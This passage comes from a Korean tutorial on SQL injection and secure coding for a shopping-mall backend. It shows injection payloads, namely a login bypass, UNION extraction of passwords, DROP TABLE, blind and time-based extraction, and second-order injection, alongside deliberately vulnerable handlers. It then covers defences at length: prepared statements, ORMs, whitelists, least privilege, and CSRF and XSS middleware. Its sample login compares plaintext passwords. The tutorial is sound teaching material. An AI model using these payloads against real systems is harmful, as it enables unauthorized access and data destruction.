๋ฐํํ๋ ์น ๋ณด์ ์ํ Top 10์์ ํญ์ ์์๊ถ์ ์ฐจ์งํ๋ ๊ณต๊ฒฉ์ด์ผ.
์๋๋ฆฌ์ค: ๋ก๊ทธ์ธ ์ฐํ
์ผ๋ฐ์ ์ธ ๋ก๊ทธ์ธ ์ฟผ๋ฆฌ:
SELECT * FROM users WHERE email = 'user@example.com' AND password = 'mypassword';
ํด์ปค๊ฐ ์ด๋ฉ์ผ ์
๋ ฅ๋์ ์ด๋ ๊ฒ ์
๋ ฅํ๋ฉด:admin@shop.com' OR '1'='1
์ค์ ๋ก ์คํ๋๋ ์ฟผ๋ฆฌ:SELECT * FROM users WHERE email = 'admin@shop.com' OR '1'='1' AND password = 'anything';
'1'='1'์ ํญ์ ์ฐธ์ด๊ธฐ ๋๋ฌธ์ ๋น๋ฐ๋ฒํธ ์์ด ๋ก๊ทธ์ธ ์ฑ๊ณต! ๐จ
SQL Injection๋ ์ฌ๋ฌ ๊ฐ์ง ํํ๊ฐ ์์ด. ๊ฐ๊ฐ์ ํน์ง์ ์์๋ณด์!
๊ฐ์ฅ ๊ธฐ๋ณธ์ ์ธ ํํ๋ก, ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๊ฐ ๋ฐ๋ก ํ๋ฉด์ ํ์๋๋ ๊ฒฝ์ฐ์ผ.
// โ ๋งค์ฐ ์ํํ ์ฝ๋!
app.get('/product', (req, res) => {
const productId = req.query.id;
const query = `SELECT * FROM products WHERE id = ${productId}`;
db.query(query, (err, results) => {
res.json(results);
});
});
// ๊ณต๊ฒฉ URL
// /product?id=1 OR 1=1 โ ๋ชจ๋ ์ํ ์ ๋ณด ๋
ธ์ถ
// /product?id=1 UNION SELECT * FROM users โ ์ฌ์ฉ์ ์ ๋ณด ๋
ธ์ถ
๊ณต๊ฒฉ ์์:โข ๋ฐ์ดํฐ ์กฐํ:
1 OR 1=1โข ํ ์ด๋ธ ๊ฒฐํฉ:
1 UNION SELECT username, password FROM usersโข ๋ฐ์ดํฐ ์ญ์ :
1; DROP TABLE products--
์ฟผ๋ฆฌ ๊ฒฐ๊ณผ๊ฐ ํ๋ฉด์ ์ง์ ํ์๋์ง ์์ง๋ง, ์ฐธ/๊ฑฐ์ง ์๋ต์ด๋ ์๊ฐ ์ง์ฐ์ ํตํด ์ ๋ณด๋ฅผ ์ถ์ถํ๋ ๋ฐฉ์์ด์ผ.
// ์ทจ์ฝํ ๊ฒ์ ๊ธฐ๋ฅ
app.get('/search', (req, res) => {
const keyword = req.query.q;
const query = `SELECT * FROM products WHERE name LIKE '%${keyword}%'`;
db.query(query, (err, results) => {
if (results.length > 0) {
res.json({ found: true });
} else {
res.json({ found: false });
}
});
});
// ๊ณต๊ฒฉ ์ฟผ๋ฆฌ
// /search?q=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a
// ์๋ต์ด true๋ฉด ์ฒซ ๊ธ์๊ฐ 'a', false๋ฉด ๋ค๋ฅธ ๊ธ์
// ์ด๋ฐ ์์ผ๋ก ํ ๊ธ์์ฉ ์ถ์ถ!
// ๊ณต๊ฒฉ ์ฟผ๋ฆฌ (MySQL)
// /search?q=test' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)--
// ์๋ต์ด 5์ด ์ง์ฐ๋๋ฉด ์ฒซ ๊ธ์๊ฐ 'a'
// ์ง์ฐ์ด ์์ผ๋ฉด ๋ค๋ฅธ ๊ธ์
์ ์ฑ ์ฟผ๋ฆฌ๋ฅผ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์ฅํ ํ, ๋์ค์ ๊ทธ ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํ ๋ ๊ณต๊ฒฉ์ด ์คํ๋๋ ๋ฐฉ์์ด์ผ.
ํ์งํ๊ธฐ ๋งค์ฐ ์ด๋ ค์์ ์ํํด! ๐จ
// 1๋จ๊ณ: ํ์๊ฐ์
์ ์
์ฑ ๋ฐ์ดํฐ ์ ์ฅ
// ์ด๋ฆ ์
๋ ฅ: admin'--
// ์ด ๋ฐ์ดํฐ๊ฐ ์ด์ค์ผ์ดํ๋์ด ์์ ํ๊ฒ ์ ์ฅ๋จ
// 2๋จ๊ณ: ๋์ค์ ์ด ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํ ๋ ๋ฌธ์ ๋ฐ์
app.get('/profile', (req, res) => {
const userId = req.session.userId;
// ์ฌ์ฉ์ ์ ๋ณด ์กฐํ (์์ )
db.query('SELECT * FROM users WHERE id = ?', [userId], (err, user) => {
const username = user[0].name; // "admin'--"
// โ ์ฌ๊ธฐ์ ๋ฌธ์ ๋ฐ์! (์ด์ค์ผ์ดํ ์์ด ์ฌ์ฉ)
const query = `SELECT * FROM orders WHERE username = '${username}'`;
db.query(query, (err, orders) => {
// ๊ณต๊ฒฉ ์ฑ๊ณต!
});
});
});
SQL Injection์ ๋ง๋ ๊ฐ์ฅ ํ์คํ ๋ฐฉ๋ฒ์ Prepared Statement (ํ๋ผ๋ฏธํฐํ๋ ์ฟผ๋ฆฌ)๋ฅผ ์ฌ์ฉํ๋ ๊ฑฐ์ผ!
์ด๊ฒ๋ง ์ ๋๋ก ํด๋ 99%์ SQL Injection์ ๋ง์ ์ ์์ด. ๐ช
Prepared Statement๋ ์ฟผ๋ฆฌ ๊ตฌ์กฐ์ ๋ฐ์ดํฐ๋ฅผ ๋ถ๋ฆฌํด์ ์ฒ๋ฆฌํด.
์ฌ์ฉ์ ์ ๋ ฅ์ด ์ ๋ ์ฟผ๋ฆฌ ๊ตฌ์กฐ๋ฅผ ๋ณ๊ฒฝํ ์ ์๊ฒ ๋ง๋๋ ๊ฑฐ์ง!
const mysql = require('mysql2');
const pool = mysql.createPool({
host: 'localhost',
user: 'root',
database: 'shop',
waitForConnections: true,
connectionLimit: 10
});
// โ
์์ ํ ๋ฐฉ๋ฒ (Prepared Statement)
app.get('/product', async (req, res) => {
const productId = req.query.id;
try {
const [rows] = await pool.promise().query(
'SELECT * FROM products WHERE id = ?',
[productId] // ํ๋ผ๋ฏธํฐ๋ ๋ฐฐ์ด๋ก ์ ๋ฌ
);
res.json(rows);
} catch (error) {
res.status(500).json({ error: 'Database error' });
}
});
// ์ฌ๋ฌ ํ๋ผ๋ฏธํฐ ์ฌ์ฉ
app.post('/login', async (req, res) => {
const { email, password } = req.body;
const [users] = await pool.promise().query(
'SELECT * FROM users WHERE email = ? AND password = ?',
[email, password]
);
if (users.length > 0) {
// ๋ก๊ทธ์ธ ์ฑ๊ณต
req.session.userId = users[0].id;
res.json({ success: true });
} else {
res.status(401).json({ error: 'Invalid credentials' });
}
});
// LIKE ์ฟผ๋ฆฌ๋ ์์ ํ๊ฒ
app.get('/search', async (req, res) => {
const keyword = req.query.q;
const [products] = await pool.promise().query(
'SELECT * FROM products WHERE name LIKE ?',
[`%${keyword}%`] // LIKE ํจํด๋ ํ๋ผ๋ฏธํฐ๋ก ์ ๋ฌ
);
res.json(products);
});
import psycopg2
from psycopg2 import sql
conn = psycopg2.connect(
host="localhost",
database="shop",
user="postgres",
password="password"
)
# โ
์์ ํ ๋ฐฉ๋ฒ
def get_product(product_id):
cursor = conn.cursor()
# %s๋ ํ๋ ์ด์คํ๋ (์ค์ %๊ฐ ์๋!)
cursor.execute(
"SELECT * FROM products WHERE id = %s",
(product_id,) # ํํ๋ก ์ ๋ฌ
)
return cursor.fetchall()
# ์ฌ๋ฌ ํ๋ผ๋ฏธํฐ
def search_products(keyword, category, min_price):
cursor = conn.cursor()
cursor.execute(
"""
SELECT * FROM products
WHERE name LIKE %s
AND category = %s
AND price >= %s
""",
(f'%{keyword}%', category, min_price)
)
return cursor.fetchall()
# ๋์ ํ
์ด๋ธ๋ช
์ sql.Identifier ์ฌ์ฉ
def get_table_data(table_name):
cursor = conn.cursor()
# โ
์์ ํ๊ฒ ํ
์ด๋ธ๋ช
์ฒ๋ฆฌ
query = sql.SQL("SELECT * FROM {}").format(
sql.Identifier(table_name)
)
cursor.execute(query)
return cursor.fetchall()
<?php
$pdo = new PDO('mysql:host=localhost;dbname=shop', 'user', 'password');
// โ
์์ ํ ๋ฐฉ๋ฒ (Named Parameters)
function getProduct($productId) {
global $pdo;
$stmt = $pdo->prepare('SELECT * FROM products WHERE id = :id');
$stmt->execute(['id' => $productId]);
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
// โ
์์ ํ ๋ฐฉ๋ฒ (Positional Parameters)
function login($email, $password) {
global $pdo;
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ? AND password = ?');
$stmt->execute([$email, $password]);
return $stmt->fetch(PDO::FETCH_ASSOC);
}
// ์ฌ๋ฌ ์กฐ๊ฑด์ ๊ฒ์
function searchProducts($keyword, $category, $minPrice, $maxPrice) {
global $pdo;
$stmt = $pdo->prepare('
SELECT * FROM products
WHERE name LIKE :keyword
AND category = :category
AND price BETWEEN :min_price AND :max_price
');
$stmt->execute([
'keyword' => "%$keyword%",
'category' => $category,
'min_price' => $minPrice,
'max_price' => $maxPrice
]);
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
?>
ORM์ ์ฌ์ฉํ๋ฉด SQL์ ์ง์ ์์ฑํ์ง ์์๋ ๋๊ณ , ์๋์ผ๋ก ์์ ํ ์ฟผ๋ฆฌ๊ฐ ์์ฑ๋ผ!
ํ๋์ ์ธ ์น ๊ฐ๋ฐ์์๋ ORM ์ฌ์ฉ์ด ๊ฑฐ์ ํ์ค์ด์ผ. ๐ฏ
const { Sequelize, DataTypes } = require('sequelize');
const sequelize = new Sequelize('shop', 'user', 'password', {
host: 'localhost',
dialect: 'mysql'
});
// ๋ชจ๋ธ ์ ์
const Product = sequelize.define('Product', {
name: DataTypes.STRING,
price: DataTypes.DECIMAL(10, 2),
category: DataTypes.STRING,
description: DataTypes.TEXT
});
// โ
์์ ํ ์กฐํ (์๋์ผ๋ก Prepared Statement ์ฌ์ฉ)
app.get('/product/:id', async (req, res) => {
try {
const product = await Product.findByPk(req.params.id);
res.json(product);
} catch (error) {
res.status(500).json({ error: 'Database error' });
}
});
// โ
์์ ํ ๊ฒ์
app.get('/search', async (req, res) => {
const { keyword, category, minPrice } = req.query;
const products = await Product.findAll({
where: {
name: {
[Sequelize.Op.like]: `%${keyword}%`
},
category: category,
price: {
[Sequelize.Op.gte]: minPrice
}
}
});
res.json(products);
});
// โ
์์ ํ ์์ฑ
app.post('/product', async (req, res) => {
const { name, price, category, description } = req.body;
const product = await Product.create({
name,
price,
category,
description
});
res.json(product);
});
// โ
์์ ํ ์
๋ฐ์ดํธ
app.put('/product/:id', async (req, res) => {
const { name, price } = req.body;
await Product.update(
{ name, price },
{ where: { id: req.params.id } }
);
res.json({ success: true });
});
from django.db import models
from django.http import JsonResponse
# ๋ชจ๋ธ ์ ์
class Product(models.Model):
name = models.CharField(max_length=200)
price = models.DecimalField(max_digits=10, decimal_places=2)
category = models.CharField(max_length=100)
description = models.TextField()
# โ
์์ ํ ์กฐํ
def get_product(request, product_id):
product = Product.objects.get(id=product_id)
return JsonResponse({
'id': product.id,
'name': product.name,
'price': str(product.price)
})
# โ
์์ ํ ๊ฒ์
def search_products(request):
keyword = request.GET.get('q', '')
category = request.GET.get('category', '')
min_price = request.GET.get('min_price', 0)
products = Product.objects.filter(
name__icontains=keyword,
category=category,
price__gte=min_price
)
return JsonResponse({
'products': list(products.values())
})
# โ
์์ ํ ์์ฑ
def create_product(request):
product = Product.objects.create(
name=request.POST['name'],
price=request.POST['price'],
category=request.POST['category'],
description=request.POST['description']
)
return JsonResponse({'id': product.id})
# โ
๋ณต์กํ ์ฟผ๋ฆฌ๋ ์์
def complex_search(request):
from django.db.models import Q
keyword = request.GET.get('q', '')
products = Product.objects.filter(
Q(name__icontains=keyword) | Q(description__icontains=keyword)
).exclude(
price__lt=1000
).order_by('-price')
return JsonResponse({
'products': list(products.values())
})
import { Entity, PrimaryGeneratedColumn, Column, Repository } from 'typeorm';
import { AppDataSource } from './data-source';
@Entity()
class Product {
@PrimaryGeneratedColumn()
id: number;
@Column()
name: string;
@Column('decimal', { precision: 10, scale: 2 })
price: number;
@Column()
category: string;
@Column('text')
description: string;
}
const productRepository: Repository<Product> = AppDataSource.getRepository(Product);
// โ
์์ ํ ์กฐํ
app.get('/product/:id', async (req, res) => {
const product = await productRepository.findOne({
where: { id: parseInt(req.params.id) }
});
res.json(product);
});
// โ
์์ ํ ๊ฒ์ (Query Builder ์ฌ์ฉ)
app.get('/search', async (req, res) => {
const { keyword, category, minPrice } = req.query;
const products = await productRepository
.createQueryBuilder('product')
.where('product.name LIKE :keyword', { keyword: `%${keyword}%` })
.andWhere('product.category = :category', { category })
.andWhere('product.price >= :minPrice', { minPrice })
.getMany();
res.json(products);
});
// โ
ํธ๋์ญ์
๋ ์์ ํ๊ฒ
app.post('/order', async (req, res) => {
await AppDataSource.transaction(async (manager) => {
const product = await manager.findOne(Product, {
where: { id: req.body.productId }
});
// ์ฌ๊ณ ํ์ธ ๋ฐ ์ฃผ๋ฌธ ์ฒ๋ฆฌ
// ...
});
});
Prepared Statement๋ฅผ ์ฌ์ฉํ ์ ์๋ ๊ฒฝ์ฐ(๋์ ํ ์ด๋ธ๋ช , ์ปฌ๋ผ๋ช ๋ฑ)์๋
์ฒ ์ ํ ์ ๋ ฅ ๊ฒ์ฆ๊ณผ ํ์ดํธ๋ฆฌ์คํธ ๋ฐฉ์์ ์ฌ์ฉํด์ผ ํด!
// โ
์ซ์ ๊ฒ์ฆ
function validateProductId(id) {
const numId = parseInt(id);
if (isNaN(numId) || numId <= 0) {
throw new Error('Invalid product ID');
}
return numId;
}
app.get('/product/:id', async (req, res) => {
try {
const productId = validateProductId(req.params.id);
const [rows] = await pool.query('SELECT * FROM products WHERE id = ?', [productId]);
res.json(rows);
} catch (error) {
res.status(400).json({ error: error.message });
}
});
// โ
ํ์ดํธ๋ฆฌ์คํธ ๋ฐฉ์ (์ ๋ ฌ ์ปฌ๋ผ)
const ALLOWED_SORT_COLUMNS = ['name', 'price', 'created_at'];
const ALLOWED_SORT_ORDERS = ['ASC', 'DESC'];
app.get('/products', async (req, res) => {
const sortBy = req.query.sort || 'created_at';
const order = req.query.order || 'DESC';
// ํ์ดํธ๋ฆฌ์คํธ ๊ฒ์ฆ
if (!ALLOWED_SORT_COLUMNS.includes(sortBy)) {
return res.status(400).json({ error: 'Invalid sort column' });
}
if (!ALLOWED_SORT_ORDERS.includes(order.toUpperCase())) {
return res.status(400).json({ error: 'Invalid sort order' });
}
// ์์ ํ๊ฒ ์ฟผ๋ฆฌ ์คํ
const query = `SELECT * FROM products ORDER BY ${sortBy} ${order}`;
const [rows] = await pool.query(query);
res.json(rows);
});
// โ
์ ๊ท์์ ์ด์ฉํ ๊ฒ์ฆ
function validateEmail(email) {
const emailRegex = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
if (!emailRegex.test(email)) {
throw new Error('Invalid email format');
}
return email;
}
function validateUsername(username) {
// ์๋ฌธ, ์ซ์, ์ธ๋์ค์ฝ์ด๋ง ํ์ฉ (3-20์)
const usernameRegex = /^[a-zA-Z0-9_]{3,20}$/;
if (!usernameRegex.test(username)) {
throw new Error('Invalid username format');
}
return username;
}
// โ
๊ธธ์ด ์ ํ
function validateInput(input, maxLength = 100) {
if (typeof input !== 'string') {
throw new Error('Input must be a string');
}
if (input.length > maxLength) {
throw new Error(`Input too long (max ${maxLength} characters)`);
}
return input;
}
๋ฐ์ดํฐ๋ฒ ์ด์ค ์ฌ์ฉ์ ๊ณ์ ์ ํ์ํ ์ต์ํ์ ๊ถํ๋ง ๋ถ์ฌํด์ผ ํด!
๋ง์ฝ SQL Injection ๊ณต๊ฒฉ์ด ์ฑ๊ณตํ๋๋ผ๋ ํผํด๋ฅผ ์ต์ํํ ์ ์์ด. ๐ก๏ธ
-- โ ๋์ ์: ๋ชจ๋ ๊ถํ ๋ถ์ฌ
GRANT ALL PRIVILEGES ON shop.* TO 'webapp'@'localhost';
-- โ
์ข์ ์: ํ์ํ ๊ถํ๋ง ๋ถ์ฌ
-- ์ฝ๊ธฐ ์ ์ฉ ๊ณ์
CREATE USER 'webapp_read'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON shop.products TO 'webapp_read'@'localhost';
GRANT SELECT ON shop.categories TO 'webapp_read'@'localhost';
-- ์ฐ๊ธฐ ๊ฐ๋ฅ ๊ณ์ (ํน์ ํ
์ด๋ธ๋ง)
CREATE USER 'webapp_write'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON shop.orders TO 'webapp_write'@'localhost';
GRANT SELECT, INSERT ON shop.order_items TO 'webapp_write'@'localhost';
-- โ DROP, DELETE ๊ถํ์ ์ ๋ ๋ถ์ฌํ์ง ์๊ธฐ!
-- โ FILE ๊ถํ๋ ๋ถ์ฌํ์ง ์๊ธฐ! (ํ์ผ ์ฝ๊ธฐ/์ฐ๊ธฐ ๊ฐ๋ฅํด์ง)
-- ๊ถํ ์ ์ฉ
FLUSH PRIVILEGES;
-- ์ฝ๊ธฐ ์ ์ฉ ์ฌ์ฉ์
CREATE USER webapp_read WITH PASSWORD 'password';
GRANT CONNECT ON DATABASE shop TO webapp_read;
GRANT USAGE ON SCHEMA public TO webapp_read;
GRANT SELECT ON products, categories TO webapp_read;
-- ์ ํ๋ ์ฐ๊ธฐ ๊ถํ
CREATE USER webapp_write WITH PASSWORD 'password';
GRANT CONNECT ON DATABASE shop TO webapp_write;
GRANT USAGE ON SCHEMA public TO webapp_write;
GRANT SELECT, INSERT, UPDATE ON orders, order_items TO webapp_write;
-- ์ํ์ค ๊ถํ๋ ํ์
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO webapp_write;
๐ก ๊ถํ ์ค์ ์ฒดํฌ๋ฆฌ์คํธโ๏ธ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ๋ root/admin ๊ณ์ ์ฌ์ฉ ๊ธ์ง
โ๏ธ DROP, TRUNCATE ๊ถํ ๋ถ์ฌ ๊ธ์ง
โ๏ธ FILE ๊ถํ ๋ถ์ฌ ๊ธ์ง
โ๏ธ ์ฝ๊ธฐ ์ ์ฉ ์์ ์ ๋ณ๋ ๊ณ์ ์ฌ์ฉ
โ๏ธ ๊ฐ ๋ง์ดํฌ๋ก์๋น์ค๋ง๋ค ๋ณ๋ ๊ณ์ ์ฌ์ฉ
โ๏ธ ์ ๊ธฐ์ ์ผ๋ก ๊ถํ ๊ฐ์ฌ
๋ฐ์ดํฐ๋ฒ ์ด์ค ์๋ฌ ๋ฉ์์ง๋ฅผ ๊ทธ๋๋ก ๋ ธ์ถํ๋ฉด ๊ณต๊ฒฉ์์๊ฒ ์ ์ฉํ ์ ๋ณด๋ฅผ ์ ๊ณตํ๊ฒ ๋ผ!
ํญ์ ์ผ๋ฐ์ ์ธ ์๋ฌ ๋ฉ์์ง๋ง ํ์ํ๊ณ , ์์ธ ๋ด์ฉ์ ๋ก๊ทธ์๋ง ๊ธฐ๋กํด์ผ ํด.
const winston = require('winston');
// ๋ก๊ฑฐ ์ค์
const logger = winston.createLogger({
level: 'error',
format: winston.format.json(),
transports: [
new winston.transports.File({ filename: 'error.log' })
]
});
// โ ๋์ ์: ๋ฐ์ดํฐ๋ฒ ์ด์ค ์๋ฌ ๊ทธ๋๋ก ๋
ธ์ถ
app.get('/product/:id', async (req, res) => {
try {
const [rows] = await pool.query('SELECT * FROM products WHERE id = ?', [req.params.id]);
res.json(rows);
} catch (error) {
res.status(500).json({ error: error.message }); // ์ํ!
}
});
// โ
์ข์ ์: ์ผ๋ฐ์ ์ธ ๋ฉ์์ง๋ง ํ์
app.get('/product/:id', async (req, res) => {
try {
const productId = validateProductId(req.params.id);
const [rows] = await pool.query('SELECT * FROM products WHERE id = ?', [productId]);
if (rows.length === 0) {
return res.status(404).json({ error: '์ํ์ ์ฐพ์ ์ ์์ต๋๋ค' });
}
res.json(rows[0]);
} catch (error) {
// ์์ธ ์๋ฌ๋ ๋ก๊ทธ์๋ง ๊ธฐ๋ก
logger.error('Database error', {
error: error.message,
stack: error.stack,
query: 'SELECT product',
params: req.params
});
// ์ฌ์ฉ์์๊ฒ๋ ์ผ๋ฐ์ ์ธ ๋ฉ์์ง๋ง
res.status(500).json({
error: '์ผ์์ ์ธ ์ค๋ฅ๊ฐ ๋ฐ์ํ์ต๋๋ค. ์ ์ ํ ๋ค์ ์๋ํด์ฃผ์ธ์.'
});
}
});
// โ
ํ๊ฒฝ๋ณ ์๋ฌ ์ฒ๋ฆฌ
const isDevelopment = process.env.NODE_ENV === 'development';
app.use((error, req, res, next) => {
logger.error('Unhandled error', {
error: error.message,
stack: error.stack,
url: req.url,
method: req.method
});
if (isDevelopment) {
// ๊ฐ๋ฐ ํ๊ฒฝ์์๋ ์์ธ ์๋ฌ ํ์
res.status(500).json({
error: error.message,
stack: error.stack
});
} else {
// ํ๋ก๋์
์์๋ ์ผ๋ฐ ๋ฉ์์ง๋ง
res.status(500).json({
error: '์๋ฒ ์ค๋ฅ๊ฐ ๋ฐ์ํ์ต๋๋ค'
});
}
});
- โ๏ธ ๋ชจ๋ ์ฟผ๋ฆฌ์ Prepared Statement ์ฌ์ฉ
- โ๏ธ ORM ์ฌ์ฉ ์์๋ raw query๋ ์ต์ํ
- โ๏ธ ์ฌ์ฉ์ ์ ๋ ฅ์ ํญ์ ๊ฒ์ฆ
- โ๏ธ ๋์ ์ฟผ๋ฆฌ๋ ํ์ดํธ๋ฆฌ์คํธ ๋ฐฉ์์ผ๋ก
- โ๏ธ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ณ์ ์ ์ต์ ๊ถํ๋ง ๋ถ์ฌ
- โ๏ธ ์๋ฌ ๋ฉ์์ง๋ ์ผ๋ฐ์ ์ผ๋ก๋ง ํ์
- โ๏ธ ์ ๊ธฐ์ ์ธ ๋ณด์ ์ค์บ ์ค์
- โ๏ธ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ ๊ทผ ๋ก๊ทธ ๋ชจ๋ํฐ๋ง
- โ๏ธ WAF(Web Application Firewall) ์ฌ์ฉ ๊ณ ๋ ค
๐ง ํตํฉ ๋ณด์ ๊ตฌํ - ์ค์ ์ผํ๋ชฐ ์์
์ง๊ธ๊น์ง ๋ฐฐ์ด ๋ด์ฉ์ ์ค์ ์ผํ๋ชฐ์ ์ด๋ป๊ฒ ์ ์ฉํ๋์ง ์ข
ํฉ์ ์ผ๋ก ์์๋ณผ๊ฒ!
CSRF, XSS, SQL Injection์ ๋ชจ๋ ๋ฐฉ์ดํ๋ ์์ ํ ์ผํ๋ชฐ ์ฝ๋๋ฅผ ๋ง๋ค์ด๋ณด์. ๐ช
shopping-mall/
โโโ server/
โ โโโ config/
โ โ โโโ database.js # DB ์ฐ๊ฒฐ ์ค์
โ โ โโโ security.js # ๋ณด์ ์ค์
โ โโโ middleware/
โ โ โโโ auth.js # ์ธ์ฆ ๋ฏธ๋ค์จ์ด
โ โ โโโ csrf.js # CSRF ๋ณดํธ
โ โ โโโ validation.js # ์
๋ ฅ ๊ฒ์ฆ
โ โ โโโ sanitize.js # XSS ๋ฐฉ์ด
โ โโโ models/
โ โ โโโ User.js
โ โ โโโ Product.js
โ โ โโโ Order.js
โ โโโ routes/
โ โ โโโ auth.js
โ โ โโโ products.js
โ โ โโโ orders.js
โ โโโ app.js
โโโ client/
โโโ public/
โโโ src/
const helmet = require('helmet');
const rateLimit = require('express-rate-limit');
// ๋ณด์ ํค๋ ์ค์
const securityHeaders = helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{random}'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
mediaSrc: ["'self'"],
frameSrc: ["'none'"]
}
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
}
});
// Rate Limiting (DDoS ๋ฐฉ์ด)
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15๋ถ
max: 100, // ์ต๋ 100๊ฐ ์์ฒญ
message: '๋๋ฌด ๋ง์ ์์ฒญ์ด ๋ฐ์ํ์ต๋๋ค. ์ ์ ํ ๋ค์ ์๋ํด์ฃผ์ธ์.',
standardHeaders: true,
legacyHeaders: false
});
// ๋ก๊ทธ์ธ Rate Limiting (๋ ์๊ฒฉํ๊ฒ)
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5, // 15๋ถ์ 5๋ฒ๋ง
skipSuccessfulRequests: true,
message: '๋ก๊ทธ์ธ ์๋ ํ์๋ฅผ ์ด๊ณผํ์ต๋๋ค. 15๋ถ ํ ๋ค์ ์๋ํด์ฃผ์ธ์.'
});
module.exports = {
securityHeaders,
limiter,
loginLimiter
};
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
// CSRF ๋ณดํธ ๋ฏธ๋ค์จ์ด
const csrfProtection = csrf({
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict'
}
});
// CSRF ํ ํฐ ์์ฑ ๋ฏธ๋ค์จ์ด
const generateToken = (req, res, next) => {
res.locals.csrfToken = req.csrfToken();
next();
};
// CSRF ์๋ฌ ํธ๋ค๋ฌ
const csrfErrorHandler = (err, req, res, next) => {
if (err.code === 'EBADCSRFTOKEN') {
return res.status(403).json({
error: '์ ํจํ์ง ์์ ์์ฒญ์
๋๋ค. ํ์ด์ง๋ฅผ ์๋ก๊ณ ์นจํด์ฃผ์ธ์.'
});
}
next(err);
};
module.exports = {
cookieParser,
csrfProtection,
generateToken,
csrfErrorHandler
};
const sanitizeHtml = require('sanitize-html');
const validator = require('validator');
// XSS ๋ฐฉ์ด๋ฅผ ์ํ ์
๋ ฅ ์๋ํ์ด์ ์ด์
const sanitizeInput = (req, res, next) => {
// Body ํ๋ผ๋ฏธํฐ ์๋ํ์ด์ฆ
if (req.body) {
Object.keys(req.body).forEach(key => {
if (typeof req.body[key] === 'string') {
// HTML ํ๊ทธ ์ ๊ฑฐ
req.body[key] = sanitizeHtml(req.body[key], {
allowedTags: [],
allowedAttributes: {}
});
// ์ถ๊ฐ ๊ฒ์ฆ
req.body[key] = validator.escape(req.body[key]);
}
});
}
// Query ํ๋ผ๋ฏธํฐ ์๋ํ์ด์ฆ
if (req.query) {
Object.keys(req.query).forEach(key => {
if (typeof req.query[key] === 'string') {
req.query[key] = validator.escape(req.query[key]);
}
});
}
next();
};
// ํน์ ํ๋๋ง HTML ํ์ฉ (์ํ ์ค๋ช
๋ฑ)
const sanitizeHtmlContent = (content) => {
return sanitizeHtml(content, {
allowedTags: ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li'],
allowedAttributes: {},
disallowedTagsMode: 'escape'
});
};
module.exports = {
sanitizeInput,
sanitizeHtmlContent
};
const { body, param, query, validationResult } = require('express-validator');
// ๊ฒ์ฆ ์๋ฌ ํธ๋ค๋ฌ
const handleValidationErrors = (req, res, next) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({
errors: errors.array().map(err => ({
field: err.param,
message: err.msg
}))
});
}
next();
};
// ์ํ ๊ฒ์ฆ ๊ท์น
const productValidation = [
body('name')
.trim()
.isLength({ min: 2, max: 100 })
.withMessage('์ํ๋ช
์ 2-100์ ์ฌ์ด์ฌ์ผ ํฉ๋๋ค'),
body('price')
.isFloat({ min: 0 })
.withMessage('๊ฐ๊ฒฉ์ 0 ์ด์์ด์ด์ผ ํฉ๋๋ค'),
body('category')
.isIn(['electronics', 'fashion', 'food', 'books', 'etc'])
.withMessage('์ ํจํ์ง ์์ ์นดํ
๊ณ ๋ฆฌ์
๋๋ค'),
body('description')
.trim()
.isLength({ max: 1000 })
.withMessage('์ค๋ช
์ 1000์๋ฅผ ์ด๊ณผํ ์ ์์ต๋๋ค'),
handleValidationErrors
];
// ์ฃผ๋ฌธ ๊ฒ์ฆ ๊ท์น
const orderValidation = [
body('productId')
.isInt({ min: 1 })
.withMessage('์ ํจํ์ง ์์ ์ํ ID์
๋๋ค'),
body('quantity')
.isInt({ min: 1, max: 100 })
.withMessage('์๋์ 1-100 ์ฌ์ด์ฌ์ผ ํฉ๋๋ค'),
body('shippingAddress')
.trim()
.isLength({ min: 10, max: 200 })
.withMessage('๋ฐฐ์ก ์ฃผ์๋ฅผ ์ ํํ ์
๋ ฅํด์ฃผ์ธ์'),
handleValidationErrors
];
// ๋ก๊ทธ์ธ ๊ฒ์ฆ ๊ท์น
const loginValidation = [
body('email')
.isEmail()
.normalizeEmail()
.withMessage('์ ํจํ ์ด๋ฉ์ผ์ ์
๋ ฅํด์ฃผ์ธ์'),
body('password')
.isLength({ min: 8 })
.withMessage('๋น๋ฐ๋ฒํธ๋ ์ต์ 8์ ์ด์์ด์ด์ผ ํฉ๋๋ค'),
handleValidationErrors
];
// ๊ฒ์ ๊ฒ์ฆ ๊ท์น
const searchValidation = [
query('q')
.trim()
.isLength({ min: 1, max: 50 })
.withMessage('๊ฒ์์ด๋ 1-50์ ์ฌ์ด์ฌ์ผ ํฉ๋๋ค'),
query('page')
.optional()
.isInt({ min: 1 })
.withMessage('ํ์ด์ง ๋ฒํธ๊ฐ ์ ํจํ์ง ์์ต๋๋ค'),
handleValidationErrors
];
module.exports = {
productValidation,
orderValidation,
loginValidation,
searchValidation
};
const { DataTypes } = require('sequelize');
const bcrypt = require('bcrypt');
const sequelize = require('../config/database');
const User = sequelize.define('User', {
id: {
type: DataTypes.INTEGER,
primaryKey: true,
autoIncrement: true
},
